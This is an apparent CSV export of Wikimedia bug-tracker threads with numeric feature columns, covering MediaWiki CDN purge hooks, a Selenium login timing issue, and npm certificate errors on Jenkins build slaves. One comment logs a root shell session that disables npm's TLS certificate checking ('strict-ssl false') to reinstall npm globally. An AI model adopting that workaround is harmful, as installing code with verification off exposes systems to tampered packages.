This works if the cache acts like a Squid (Varnish is configurable to do this) but is problematic when dealing with commercial content delivery networks.

Services like CloudFlare (or Amazon AWS) expect the origin server to invoke their specific proprietary API to signal that a page or file has been superseded with updated content. 

HTTP PURGE likely doesn't even reach them as the long list of IPv4 / IPv6 ranges is normally handled with [[mw:extension:TrustedXFF]] or a proprietary module (like mod_cloudflare for Apache). Even if it were possible to list the entire CDN in $wgSquidServers, those servers would ignore a Squid-style PURGE message.

The end result is that plenty of outdated content is served as the CDN has no way to know a new version exists until the original version expires from cache.

There needs to be a way to replace the stock SquidPurgeClient with an extension which provides a function to purge CDN files, but I see no hooks in the code to allow this. There are [[mw:Manual:CloudFlare#HTTP_purge]] extensions for WordPress, Drupal and the like but nothing for MediaWiki as the hook to add such an extension does not exist.

--------------------------
**Version**: 1.23.0
**Severity**: normal"
1483028,Allow extensions to provide purge mechanisms for external CDNs (beyond Squid and HTTP PURGE protocol),">>! In T216225#5335375, @Krinkle wrote:
> I believe you can use the `EventRelayer` interface for this. It does not yet have much documentation, but the following should get you in the right direction.
> 
> For a custom CDN purger:
> 
> * Enable [$wgUseCDN](https://www.mediawiki.org/wiki/Manual:$wgUseCDN) so that CdnCacheUpdate runs. (Keep these off `$wgCdnReboundPurgeDelay`, `$wgCdnServers`, and `$wgHTCPRouting`).
> * Configure the `cdn-url-purges` channel [$wgEventRelayerConfig](https://www.mediawiki.org/wiki/Manual:$wgEventRelayerConfig) with an implementation that purges your CDN in the way that it requires.
> 
> See also:
> * <https://github.com/wikimedia/mediawiki/blob/1.32.3/includes/deferred/CdnCacheUpdate.php#L112-L127>
> * <https://doc.wikimedia.org/mediawiki-core/master/php/classEventRelayer.html>
> 
> The `cdn-url-purges` channel will be notified with a list of urls to purge in the CDN. As a site administrator, you'd configure `$wgEventRelayerConfig['cdn-url-purges']`. The extension could provide an EventRelayer subclass that handles messages for `$channel === 'cdn-url-purges'` in the way that your CDN provider requires. For example:
> 
> ```lang=php
> $wgUseCDN = true;
> $wgEventRelayerConfig['cdn-url-purges'] = [
>   'class' => MediaWiki\Extension\MyCloudFare\EventRelayer::class,
> ];
> ```

",,,1586627502,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7sfermkb72xrj2nbgkhd,task_subcomment,,True,c3,3,True,,,249,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,47.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.033333333333333,0.1,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

"
801590,Allow extensions to provide purge mechanisms for external CDNs (beyond Squid and HTTP PURGE protocol),Such a hook should definitely be added.,,,1485925045,,PHID-USER-fqlk2aqfvgbxstwteanc,False,,,PHID-TASK-7sfermkb72xrj2nbgkhd,task_subcomment,,True,c3,3,False,,,82,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,Such a hook should definitely be added.
504979,Allow extensions to provide purge mechanisms for external CDNs (beyond Squid and HTTP PURGE protocol),"Would it make sense to hook [[mw:Manual:Hooks/TitleSquidURLs]] to get the list of URLs to purge?

It's certainly not how the hook is intended to be used (it's supposed to provide the list so extensions can add URLs) but the worst that can happen should be that extra URLs added by some other extension (depending on order called) miss getting purged. As the hook has only existed since MW 1.22, the number of affected extensions should be small.",,,1439160783,,PHID-USER-r7cceqjsaxyowokghacq,False,,,PHID-TASK-7sfermkb72xrj2nbgkhd,task_subcomment,,True,c3,3,False,,,5,True,1.0,0.0,0.0,2.0,1.0,5.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,13.0,0.0,5.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,4.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,10.0,4.0,1.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,3.0,13.0,4.0,1.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,1.0,3.0,3.7755102040816326,0.7040816326530612,"Would it make sense to hook [[mw:Manual:Hooks/TitleSquidURLs]] to get the list of URLs to purge?

It's certainly not how the hook is intended to be used (it's supposed to provide the list so extensions can add URLs) but the worst that can happen should be that extra URLs added by some other extension (depending on order called) miss getting purged. As the hook has only existed since MW 1.22, the number of affected extensions should be small."
446708,Allow extensions to provide purge mechanisms for external CDNs (beyond Squid and HTTP PURGE protocol),"Hmm, that's odd we have no hook there (Note that we do have a hook for purging thumbnails - LocalFilePurgeThumbnails, but nothing for general article purging)",,,1429570405,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7sfermkb72xrj2nbgkhd,task_subcomment,,True,c3,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,10.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.290322580645161,0.7741935483870968,"Hmm, that's odd we have no hook there (Note that we do have a hook for purging thumbnails - LocalFilePurgeThumbnails, but nothing for general article purging)"
64001,"browser readyState should be ""loading"" until login completes","Seen in fairly recent times, particularly for Internet Explorer: 

Seen particularly in browser tests, which move quickly from logging in to a particular URL: 

It seems that the browser readyState is moved from ""loading"" to either ""interactive"" or ""complete"" before the login process finishes.  I believe this because I see automated tests that log in, then navigate to a URL to perform some action only to get an error message that the user is not logged in. 

I got around this by adding some code to the shared login method here to check for complete login before the tests proceed:  https://github.com/wikimedia/mediawiki-selenium/commit/a1d7fda4af531773a748f990e294fa5adf0b0628

However, this causes problems for tests for the Language teams because every aspect of the user-specific signs of being logged in (Logout link, Preferences, etc.) is localized, making it difficult or impossible to identify a generic way to confirm login. 

It would be better to control the browser readyState properly.

--------------------------
**Version**: 1.23.0
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=62244",Medium,50.0,1393517280,1446479567.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-go3a6xovwwfdisig2ikx,task_description,invalid,True,c3,1,False,False,False,-70,True,1.0,0.0,0.0,1.6666666666666667,0.3333333333333333,4.666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.0,2.6666666666666665,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,4.0,11.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.333333333333333,2.0,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,12.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,4.333333333333333,2.0,8.0,1.0,1.0,6.666666666666667,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.3333333333333333,0.0,2.3333333333333335,11.0,2.0,0.0,2.0,0.0,2.3333333333333335,0.0,1.0,1.3333333333333333,0.0,1.0,0.3333333333333333,0.0,1.0,4.013011401743796,0.7109322602280348,"Seen in fairly recent times, particularly for Internet Explorer: 

Seen particularly in browser tests, which move quickly from logging in to a particular URL: 

It seems that the browser readyState is moved from ""loading"" to either ""interactive"" or ""complete"" before the login process finishes.  I believe this because I see automated tests that log in, then navigate to a URL to perform some action only to get an error message that the user is not logged in. 

I got around this by adding some code to the shared login method here to check for complete login before the tests proceed:  URL

However, this causes problems for tests for the Language teams because every aspect of the user-specific signs of being logged in (Logout link, Preferences, etc.) is localized, making it difficult or impossible to identify a generic way to confirm login. 

It would be better to control the browser readyState properly.

--------------------------
**Version**: 1.23.0
**Severity**: normal
**See Also**:
URL"
556434,"browser readyState should be ""loading"" until login completes",I do not remember seeing problems with logging in for a long time. Please reopen if needed.,,,1446479567,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-go3a6xovwwfdisig2ikx,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,3.9473684210526314,0.9473684210526315,I do not remember seeing problems with logging in for a long time. Please reopen if needed.
63508,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"Last working job:
  https://integration.wikimedia.org/ci/job/mwext-VisualEditor-npm/942/console

  - Feb 16, 2014
  - Building remotely on integration-slave01

  - node v0.10.22
  - npm v1.1.38

First failing job:
  https://integration.wikimedia.org/ci/job/mwext-VisualEditor-npm/943/console

  - Feb 18, 2014
  - Building remotely on integration-slave02

  - node v0.8.2
  - npm v1.1.39

16:23:41 npm ERR! Error: SSL Error: CERT_UNTRUSTED
16:23:41 npm ERR!     at ClientRequest.<anonymous> 
16:23:41 npm ERR!     at Socket.ondata (stream.js:38:26)
16:23:41 npm ERR!  [Error: SSL Error: CERT_UNTRUSTED]

Server log:
  https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log&diff=99596&oldid=99549


  - February 17
    - 16:15 hashar: Jenkins deleting slave integration-slave01
    - 16:14 hashar: Jenkins added two labs slaves with 4 CPU: integration-slave02 and integration-slave03
    - 08:46 hashar: Upgrading Jenkins, half an hour downtime



So npm was upgraded one minor version, and nodejs was downgraded *2 major versions*, and (possibly unrelated) it seems to be unable to verify the certificate properly.

According to existing bug reports, this is related to it being a self-signed certificate, however this shouldn't be a problem since a validation mechanism for their official certificate ships with the npm package. Upstream recommends upgrading to the most recent minor version, but that doesn't seem to be the problem considering the bug started happening for us overnight (no certificate change upstream) when we went from v1.1.38 to v1.1.39 (not down).

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
https://github.com/npm/npm/issues/4838",Medium,50.0,1392752580,1405742229.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_description,resolved,True,c3,1,True,False,True,-72,True,0.0,0.0,0.0,0.75,1.0,3.5,1.0,0.0,0.0,0.0,0.25,0.5,0.0,0.0,0.0,0.75,0.25,4.75,4.75,0.0,0.75,0.25,0.25,0.0,1.5,0.25,0.0,0.25,0.0,0.0,0.75,1.25,0.75,0.5,0.5,0.0,0.5,0.0,0.0,0.25,0.25,0.25,0.0,3.25,0.0,0.25,0.0,0.0,0.0,11.0,0.75,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.75,10.0,0.5,1.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,4.0,0.0,1.5,4.75,8.25,0.0,0.0,0.0,1.5,0.0,0.25,1.0,0.25,2.25,0.0,0.25,0.75,4.150504101161996,0.6573393711551606,"Last working job:
  URL

  - Feb 16, 2014
  - Building remotely on integration-slave01

  - node v0.10.22
  - npm v1.1.38

First failing job:
  URL

  - Feb 18, 2014
  - Building remotely on integration-slave02

  - node v0.8.2
  - npm v1.1.39

16:23:41 npm ERR! Error: SSL Error: CERT_UNTRUSTED
16:23:41 npm ERR!     at ClientRequest.<anonymous> 
16:23:41 npm ERR!     at Socket.ondata (stream.js:38:26)
16:23:41 npm ERR!  [Error: SSL Error: CERT_UNTRUSTED]

Server log:
  URL


  - February 17
    - 16:15 hashar: Jenkins deleting slave integration-slave01
    - 16:14 hashar: Jenkins added two labs slaves with 4 CPU: integration-slave02 and integration-slave03
    - 08:46 hashar: Upgrading Jenkins, half an hour downtime



So npm was upgraded one minor version, and nodejs was downgraded *2 major versions*, and (possibly unrelated) it seems to be unable to verify the certificate properly.

According to existing bug reports, this is related to it being a self-signed certificate, however this shouldn't be a problem since a validation mechanism for their official certificate ships with the npm package. Upstream recommends upgrading to the most recent minor version, but that doesn't seem to be the problem considering the bug started happening for us overnight (no certificate change upstream) when we went from v1.1.38 to v1.1.39 (not down).

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
URL"
291341,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"Existing instances have been patches so marking this as fixed.

The fact that we need to puppetize the patches is a separate bug.

See:
* bug 68256
* bug 66056

And the patches are documented at:
https://wikitech.wikimedia.org/wiki/Nova_Resource:Integration/Setup",,,1405742229,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-50,True,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,11.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.595744680851064,0.7446808510638298,"Existing instances have been patches so marking this as fixed.

The fact that we need to puppetize the patches is a separate bug.

See:
* bug 68256
* bug 66056

And the patches are documented at:
URL"
291337,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,The new,,,1405719711,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-50,True,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,50.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,The new
291334,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,Thank you Timo for fixing up the installation on integration-slave1003.  I guess we can close that bug since you proposed to use node 10.x on bug 66056 which would definitely fix the issue.,,,1401752463,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-57,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,16.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,11.0,16.0,5.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.131578947368421,0.868421052631579,Thank you Timo for fixing up the installation on integration-slave1003.  I guess we can close that bug since you proposed to use node 10.x on bug 66056 which would definitely fix the issue.
291331,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"(In reply to Antoine ""hashar"" Musso from bug 66048 comment #1)
> Node marked offline on
> https://integration.wikimedia.org/ci/computer/integration-slave1003/

Brought back online.",,,1401749458,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-57,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,12.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.36,0.88,"(In reply to Antoine ""hashar"" Musso from bug 66048 comment #1)
QUOTE
QUOTE

Brought back online."
291326,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,*** Bug 66048 has been marked as a duplicate of this bug. ***,,,1401749314,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-57,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 66048 has been marked as a duplicate of this bug. ***
291319,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log&oldid=115053

> 20:08 hashar: Jenkins unpolled integration-slave1003 npm is outdated there and does not trust npmregistry.org ( bug 61508 )
> 22:37 Krinkle: Hack-patching integration-slave1003.eqiad.wmflabs per https://bugzilla.wikimedia.org/show_bug.cgi?id=61508#c2


krinkle at integration-slave1003.eqiad.wmflabs in ~
$ node --version
v0.8.2

$ npm --version
1.1.39

$ sudo -s
# export HOME=/root
# npm conf set strict-ssl false
# l /usr/bin/npm

  /usr/bin/npm -> /etc/alternatives/npm*

# rm /usr/bin/npm
# /etc/alternatives/npm install -g npm

  ...
  npm@1.4.13 /usr/lib/node_modules/npm

# cd /tmp && mkdir foo123 && cd foo123
# npm install jshint

  .. success ..
  jshint@2.5.1 node_modules/jshint

# l `which npm`

  /usr/bin/npm -> ../lib/node_modules/npm/bin/npm-cli.js*

# npm conf set strict-ssl true

# cd ~ && rm -rf /tmp/foo123/
# npm install -g grunt-cli

  .. success ..
  /usr/bin/grunt -> /usr/lib/node_modules/grunt-cli/bin/grunt
  grunt-cli@0.1.13 /usr/lib/node_modules/grunt-cli

# npm --version
1.4.13
# grunt --version
grunt-cli v0.1.13",,,1401748882,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-57,True,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,22.666666666666668,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.2954954954954956,0.46174174174174176,"URL

QUOTE
QUOTE


krinkle at integration-slave1003.eqiad.wmflabs in ~
$ node --version
v0.8.2

$ npm --version
1.1.39

$ sudo -s
# export HOME=/root
# npm conf set strict-ssl false
# l /usr/bin/npm

  /usr/bin/npm -> /etc/alternatives/npm*

# rm /usr/bin/npm
# /etc/alternatives/npm install -g npm

  ...
  npm@1.4.13 /usr/lib/node_modules/npm

# cd /tmp && mkdir foo123 && cd foo123
# npm install jshint

  .. success ..
  jshint@2.5.1 node_modules/jshint

# l CODE

  /usr/bin/npm -> ../lib/node_modules/npm/bin/npm-cli.js*

# npm conf set strict-ssl true

# cd ~ && rm -rf /tmp/foo123/
# npm install -g grunt-cli

  .. success ..
  /usr/bin/grunt -> /usr/lib/node_modules/grunt-cli/bin/grunt
  grunt-cli@0.1.13 /usr/lib/node_modules/grunt-cli

# npm --version
1.4.13
# grunt --version
grunt-cli v0.1.13"
291313,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,Has this recurred?,,,1401745339,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-57,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Has this recurred?
291307,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"I was a bit upset this morning. I have applied Timo fix from Comment #2 on all four instances:

 integration-slave02.pmtpa.wmflabs
 integration-slave03.pmtpa.wmflabs
 integration-slave1001.eqiad.wmflabs
 integration-slave1002.eqiad.wmflabs

Seems to work now.",,,1395237768,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-68,True,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,0.0,6.0,8.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.611111111111111,0.8888888888888888,"I was a bit upset this morning. I have applied Timo fix from Comment #2 on all four instances:

 integration-slave02.pmtpa.wmflabs
 integration-slave03.pmtpa.wmflabs
 integration-slave1001.eqiad.wmflabs
 integration-slave1002.eqiad.wmflabs

Seems to work now."
291301,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"(In reply to Nemo from comment #7)
> I don't know if it's the same for you, but docs were wrong for me.
> <https://www.mediawiki.org/w/index.
> php?title=Parsoid%2FSetup&diff=930615&oldid=930612>

The doc instructs to use a ppa which provides 0.10.x.  We do not use ppa.",,,1395227517,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,20.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,11.0,14.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.057142857142857,0.7714285714285715,"(In reply to Nemo from comment #7)
QUOTE
QUOTE
QUOTE

The doc instructs to use a ppa which provides 0.10.x.  We do not use ppa."
291296,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,Mailed ops list.  The Parsoid and VisualEditor npm jobs are now failing and preventing changes to be merged until the SSL cert issue is properly 